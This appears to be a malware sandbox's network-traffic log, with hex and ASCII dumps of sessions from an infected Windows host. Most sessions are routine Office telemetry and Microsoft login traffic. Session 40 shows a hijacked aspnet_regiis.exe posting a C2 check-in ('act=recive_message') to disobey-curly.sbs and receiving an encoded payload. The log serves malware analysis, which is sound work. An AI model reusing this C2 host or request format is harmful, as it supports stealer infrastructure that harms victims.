2024-11-23 14:22:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 16d74281-d01e-0066-164b-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142216Z-15b8b599d88hr8sfhC1TEBbca400000002yg000000007rn0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:16 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:16 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142216Z-178bfbc474bxkclvhC1NYC69g400000004g000000000az99 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:17 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:16 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142216Z-178bfbc474bmqmgjhC1NYCy16c00000004m000000000d870 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49775	20.190.147.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:16 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-23 14:22:16 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 14:22:17 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 14:21:17 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BAY x-ms-request-id: bfc3a2fd-550b-4f8b-88e6-7ed7aa63b129 PPServer: PPV: 30 H: PH1PEPF0001B750 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 14:22:16 GMT Connection: close Content-Length: 1276
2024-11-23 14:22:17 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:16 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:17 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: d83ea369-501e-000a-040c-3d0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142217Z-178bfbc474b9fdhphC1NYCac0n00000004kg000000003zsc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:17 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49779	172.67.223.140	443	6976	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:17 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: disobey-curly.sbs
2024-11-23 14:22:17 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 6c 6f 6e 69 6b 69 72 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--lonikir&j=
2024-11-23 14:22:18 UTC	1021	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=34c0t59v46r77i7injjsrjm0bi; expires=Wed, 19-Mar-2025 08:08:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3xIPmxQcIIeV%2FVF%2B%2B49xEnQw29kWlbKQdxR4es%2BErgRzhaBHI2sifEzcF7Z%2B2WtXbFjvbqHZHmExJJgSQDqxmfnfYe04IMYx4lhhgVp3IWu6mDN3jlPNmgmPVODm%2BLA7fY7qBw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71cf80fa2043c3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1745&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=950&delivery_rate=1668571&cwnd=211&unsent_bytes=0&cid=ffab17d3e564c5de&ts=736&x=0"
2024-11-23 14:22:18 UTC	348	IN	Data Raw: 33 66 63 39 0d 0a 78 70 6f 73 6f 2f 39 42 69 6e 6d 78 41 63 6b 67 57 4d 6b 55 52 71 57 61 33 31 5a 4c 64 39 48 38 78 49 45 37 51 64 58 49 67 6f 79 39 75 46 71 42 78 58 57 6d 57 38 4a 6b 36 78 6f 73 75 32 45 6a 69 62 69 2b 4d 6d 6c 4e 74 35 32 6f 38 6c 35 74 39 37 37 76 72 76 7a 38 54 63 2b 4d 4a 4b 5a 62 31 48 6e 72 47 67 4f 79 4e 69 50 4c 75 4f 56 30 4c 68 32 7a 6e 61 6a 6a 57 69 71 36 75 4f 37 76 72 76 5a 4c 79 35 6f 69 37 68 6a 64 62 4b 78 46 50 61 68 2b 4b 4d 7a 33 74 7a 74 70 57 2f 4f 5a 76 71 4d 42 59 35 69 74 39 75 32 4c 2b 31 2f 49 33 54 79 6d 41 70 4e 6b 70 77 4a 69 36 33 55 6a 78 2f 61 35 4d 69 41 66 75 5a 53 67 34 6c 38 72 70 61 48 6b 35 4b 37 34 53 4d 71 51 4b 2f 6f 56 31 32 75 6e 51 7a 65 6f 4e 6d 71 48 2f 36 56 30 63 56 58 67 72 4b 58 79 53 Data Ascii: 3fc9xposo/9BinmxAckgWMkURqWa31ZLd9H8xIE7QdXIgoy9uFqBxXWmW8Jk6xosu2Ejibi+MmlNt52o8l5t977vrvz8Tc+MJKZb1HnrGgOyNiPLuOV0Lh2znajjWiq6uO7vrvZLy5oi7hjdbKxFPah+KMz3tztpW/OZvqMBY5it9u2L+1/I3TymApNkpwJi63Ujx/a5MiAfuZSg4l8rpaHk5K74SMqQK/oV12unQzeoNmqH/6V0cVXgrKXyS
2024-11-23 14:22:18 UTC	1369	IN	Data Raw: 79 34 53 4d 2b 63 4c 75 67 4a 32 32 69 67 52 79 69 67 66 79 6e 4b 2b 4c 41 2b 4a 68 61 7a 6d 61 7a 70 56 69 6d 7a 70 2b 33 6f 70 50 67 4f 6a 39 30 6b 38 46 75 4c 49 34 68 48 4b 71 78 36 4d 6f 58 43 2f 53 74 6e 44 50 4f 5a 71 71 4d 42 59 37 2b 76 34 2b 32 76 39 30 33 4a 6c 6a 48 6f 43 64 56 75 72 6c 41 38 72 6e 67 75 78 4f 71 33 4f 69 38 57 75 70 57 76 35 6c 34 6e 39 2b 53 67 36 62 79 34 46 6f 47 38 4c 75 4d 58 32 58 53 72 41 69 58 6c 62 32 54 41 39 50 31 73 61 52 47 79 6d 71 66 6e 56 79 32 7a 70 75 62 67 71 66 64 49 79 35 30 6b 34 68 50 62 59 71 5a 4a 4e 61 74 7a 4b 63 50 2b 73 54 55 73 56 66 33 65 6f 66 73 5a 65 2f 65 45 35 2b 32 32 75 6e 76 43 6b 79 33 76 44 5a 4e 38 35 56 74 36 72 48 70 6b 6e 37 69 7a 4d 53 59 48 73 6f 79 6a 37 55 73 76 73 71 7a 74 37 Data Ascii: y4SM+cLugJ22igRyigfynK+LA+JhazmazpVimzp+3opPgOj90k8FuLI4hHKqx6MoXC/StnDPOZqqMBY7+v4+2v903JljHoCdVurlA8rnguxOq3Oi8WupWv5l4n9+Sg6by4FoG8LuMX2XSrAiXlb2TA9P1saRGymqfnVy2zpubgqfdIy50k4hPbYqZJNatzKcP+sTUsVf3eofsZe/eE5+22unvCky3vDZN85Vt6rHpkn7izMSYHsoyj7Usvsqzt7
2024-11-23 14:22:18 UTC	1369	IN	Data Raw: 43 6b 79 33 76 44 5a 4e 38 35 56 74 36 72 48 70 6b 6e 37 69 78 50 53 6b 65 75 5a 71 6d 35 46 51 6d 74 4b 33 6a 34 36 50 79 51 4d 61 5a 4c 2b 45 57 31 57 4f 73 52 6a 2b 35 63 79 33 4c 39 50 31 36 61 52 4b 72 33 76 36 6a 64 69 53 68 71 63 2f 74 74 66 45 4f 33 74 4d 36 71 42 7a 66 49 2f 4d 43 50 61 35 2b 4c 38 48 77 76 53 59 73 47 37 69 66 72 4f 56 59 4c 72 75 73 34 4f 2b 6b 2f 6b 4c 42 6d 69 54 36 43 64 5a 6c 75 55 68 36 35 54 59 6a 33 37 6a 6c 64 42 38 46 70 49 2b 77 6f 57 77 67 75 61 54 6e 2b 4f 54 6e 41 4e 6a 64 4a 4f 52 62 69 79 4f 67 51 6a 61 73 66 69 4c 44 38 4c 49 37 49 41 65 79 6b 71 6a 78 58 69 4f 2b 70 4f 2f 69 72 66 56 4a 7a 4a 59 70 35 52 2f 55 59 75 73 4d 65 71 78 75 5a 4a 2b 34 69 79 51 6b 47 5a 32 56 71 75 6f 5a 50 50 6d 7a 6f 4f 6d 6f 75 42 Data Ascii: Cky3vDZN85Vt6rHpkn7ixPSkeuZqm5FQmtK3j46PyQMaZL+EW1WOsRj+5cy3L9P16aRKr3v6jdiShqc/ttfEO3tM6qBzfI/MCPa5+L8HwvSYsG7ifrOVYLrus4O+k/kLBmiT6CdZluUh65TYj37jldB8FpI+woWwguaTn+OTnANjdJORbiyOgQjasfiLD8LI7IAeykqjxXiO+pO/irfVJzJYp5R/UYusMeqxuZJ+4iyQkGZ2VquoZPPmzoOmouB
2024-11-23 14:22:18 UTC	1369	IN	Data Raw: 35 68 54 53 5a 36 35 48 50 71 78 79 49 73 69 34 38 33 51 75 44 66 50 47 35 73 78 2b 46 76 57 4c 32 71 36 37 74 6c 65 42 6d 69 2b 6f 51 35 4e 76 71 45 34 79 70 48 41 74 79 2f 4b 30 50 79 55 65 74 35 4b 76 35 6c 38 69 73 71 2f 68 36 71 6a 79 53 4d 4b 65 4c 4f 63 55 32 79 50 6c 41 6a 32 7a 4e 6e 79 48 33 61 6f 2f 4a 78 50 7a 67 65 6a 36 47 53 53 37 36 72 69 75 71 50 46 49 78 35 67 76 36 52 33 62 5a 71 4e 47 4f 36 31 77 4a 38 6a 38 75 44 55 6d 45 62 2b 51 72 4f 4a 59 4c 37 79 6c 36 2b 76 6b 74 67 37 47 68 57 4f 77 57 2b 4a 67 76 56 55 71 70 7a 59 37 69 65 48 39 4d 79 56 56 36 39 36 6e 38 56 4d 70 75 61 2f 76 36 36 66 33 53 63 79 62 4c 2b 49 53 32 32 57 6b 53 79 69 6f 65 69 72 41 39 72 45 36 4a 42 2b 77 6b 2b 61 74 47 53 53 76 36 72 69 75 69 50 39 44 37 35 59 Data Ascii: 5hTSZ65HPqxyIsi483QuDfPG5sx+FvWL2q67tleBmi+oQ5NvqE4ypHAty/K0PyUet5Kv5l8isq/h6qjySMKeLOcU2yPlAj2zNnyH3ao/JxPzgej6GSS76riuqPFIx5gv6R3bZqNGO61wJ8j8uDUmEb+QrOJYL7yl6+vktg7GhWOwW+JgvVUqpzY7ieH9MyVV696n8VMpua/v66f3ScybL+IS22WkSyioeirA9rE6JB+wk+atGSSv6riuiP9D75Y
2024-11-23 14:22:18 UTC	1369	IN	Data Raw: 6e 47 35 41 6e 54 72 63 54 79 48 6f 50 30 43 4c 67 57 6a 6e 65 54 53 54 79 43 68 6f 65 33 69 35 4f 63 41 32 4e 30 6b 35 46 75 4c 49 36 31 4e 4d 36 68 35 4a 63 37 30 73 44 45 67 45 4c 4b 59 6f 75 6c 54 49 37 47 73 34 65 75 75 2b 30 2f 4c 6c 43 54 67 48 4e 42 78 36 77 78 36 72 47 35 6b 6e 37 69 55 4d 7a 73 62 6f 39 36 35 72 55 42 6a 73 4b 61 67 74 75 54 38 52 4d 36 5a 4a 4f 51 64 31 6d 57 6d 51 7a 57 71 64 69 76 44 38 37 51 79 4b 42 69 32 6b 36 4c 78 55 79 69 34 70 75 6e 69 71 62 67 41 67 5a 6f 37 71 45 4f 54 55 71 5a 4d 4e 4b 78 67 5a 4e 69 32 70 48 51 75 47 66 50 47 35 75 4a 56 4c 4c 53 6c 34 2b 32 6c 38 6c 7a 54 6b 53 72 67 48 74 39 6f 70 55 51 6f 72 58 6b 74 78 50 75 30 4d 79 45 5a 75 5a 32 68 6f 78 64 6a 73 4c 4b 67 74 75 54 62 57 64 47 51 59 2f 64 56 Data Ascii: nG5AnTrcTyHoP0CLgWjneTSTyChoe3i5OcA2N0k5FuLI61NM6h5Jc70sDEgELKYoulTI7Gs4euu+0/LlCTgHNBx6wx6rG5kn7iUMzsbo965rUBjsKagtuT8RM6ZJOQd1mWmQzWqdivD87QyKBi2k6LxUyi4puniqbgAgZo7qEOTUqZMNKxgZNi2pHQuGfPG5uJVLLSl4+2l8lzTkSrgHt9opUQorXktxPu0MyEZuZ2hoxdjsLKgtuTbWdGQY/dV
2024-11-23 14:22:18 UTC	1369	IN	Data Raw: 73 38 72 48 41 71 31 66 32 37 4f 79 59 63 75 70 71 75 34 46 6b 6e 73 36 33 6c 37 61 6a 7a 53 63 4b 53 4a 2b 45 56 32 6d 7a 72 44 48 71 73 62 6d 53 66 75 4a 77 76 4b 68 6d 2b 33 72 6d 74 51 47 4f 77 70 71 43 32 35 50 52 41 78 4a 30 70 37 68 2f 57 5a 61 46 48 4f 71 42 31 4b 38 50 2b 75 54 73 70 48 72 71 66 6f 4f 5a 54 4b 4c 47 6e 34 2b 69 69 75 41 43 42 6d 6a 75 6f 51 35 4e 44 73 45 38 32 72 44 59 37 69 65 48 39 4d 79 56 56 36 39 36 74 37 31 30 6b 74 36 66 6a 35 71 48 38 52 4d 53 64 4b 2f 6f 54 30 32 53 35 55 44 71 69 63 79 6a 45 2b 4c 6b 79 49 42 4f 77 6d 75 61 74 47 53 53 76 36 72 69 75 69 66 52 4a 36 4a 6f 34 71 41 53 64 65 75 74 46 4e 75 73 75 5a 4d 62 7a 74 7a 73 6b 46 72 57 64 72 65 5a 54 49 72 43 69 37 66 79 6e 39 30 48 46 6e 53 7a 75 48 64 4a 73 72 Data Ascii: s8rHAq1f27OyYcupqu4Fkns63l7ajzScKSJ+EV2mzrDHqsbmSfuJwvKhm+3rmtQGOwpqC25PRAxJ0p7h/WZaFHOqB1K8P+uTspHrqfoOZTKLGn4+iiuACBmjuoQ5NDsE82rDY7ieH9MyVV696t710kt6fj5qH8RMSdK/oT02S5UDqicyjE+LkyIBOwmuatGSSv6riuifRJ6Jo4qASdeutFNusuZMbztzskFrWdreZTIrCi7fyn90HFnSzuHdJsr
2024-11-23 14:22:18 UTC	1369	IN	Data Raw: 31 4d 73 53 2f 67 77 6f 4f 41 37 6d 5a 74 75 52 4f 4c 50 66 6b 6f 4f 48 6b 6f 48 65 42 6c 43 54 7a 43 73 56 75 75 30 56 36 6c 44 68 6b 33 37 6a 6c 64 42 77 57 76 5a 43 68 39 55 68 75 6b 4c 7a 71 36 62 54 2f 57 63 37 64 62 61 67 64 6b 7a 76 34 44 48 71 76 5a 32 53 66 71 4f 39 76 66 45 62 6b 7a 76 54 38 46 7a 72 33 76 4b 43 32 39 72 59 4f 30 39 31 37 71 46 7a 51 63 62 6c 45 4f 62 31 31 59 2f 6e 47 6d 69 34 6b 45 36 53 50 6d 4e 31 65 4f 62 71 73 39 2f 2f 6f 37 55 33 50 6b 79 54 2b 57 35 30 6a 70 41 4a 69 6b 6a 5a 73 68 38 66 7a 64 44 46 56 36 39 36 54 34 46 63 74 73 4c 7a 78 6f 34 50 69 51 38 65 4b 4d 71 68 56 6b 32 58 72 47 6d 72 6c 4e 69 44 57 75 4f 56 6b 65 30 37 6d 7a 66 47 7a 43 7a 7a 35 73 36 44 34 35 4b 41 63 6a 39 30 78 71 45 4f 54 4a 4b 68 51 4b 4b Data Ascii: 1MsS/gwoOA7mZtuROLPfkoOHkoHeBlCTzCsVuu0V6lDhk37jldBwWvZCh9UhukLzq6bT/Wc7dbagdkzv4DHqvZ2SfqO9vfEbkzvT8Fzr3vKC29rYO0917qFzQcblEOb11Y/nGmi4kE6SPmN1eObqs9//o7U3PkyT+W50jpAJikjZsh8fzdDFV696T4FctsLzxo4PiQ8eKMqhVk2XrGmrlNiDWuOVke07mzfGzCzz5s6D45KAcj90xqEOTJKhQKK
2024-11-23 14:22:18 UTC	1369	IN	Data Raw: 74 76 30 73 61 55 33 7a 71 36 58 74 56 79 53 68 75 36 33 4a 71 76 39 50 31 34 30 30 35 31 75 64 49 36 30 43 59 76 6b 34 5a 4d 50 70 2f 57 78 35 52 2b 6a 4c 39 62 51 4a 63 61 6a 6b 2b 61 36 79 75 42 61 54 30 32 50 36 57 34 73 6a 37 45 45 6f 75 58 41 6e 30 66 76 36 43 68 63 79 76 5a 6d 6e 39 55 6b 30 75 4f 58 4f 32 49 58 47 63 4e 53 65 4c 65 59 63 78 58 4c 72 44 48 71 6b 4e 6e 7a 2b 75 50 56 30 46 6c 76 7a 68 75 61 37 47 52 61 30 70 4f 37 70 73 75 6b 44 35 70 4d 6b 36 51 33 44 64 4b 51 4e 46 4a 31 58 5a 49 6d 34 75 33 52 78 52 2f 33 65 6f 76 49 5a 65 2b 66 34 75 37 76 33 72 78 36 54 67 6d 33 78 57 38 55 6a 38 78 42 30 36 32 52 6b 6e 37 6a 36 4e 7a 73 48 74 5a 32 77 34 42 34 64 69 59 33 75 36 61 58 75 58 73 79 52 41 75 73 4b 32 56 32 56 56 7a 6d 6c 65 43 50 Data Ascii: 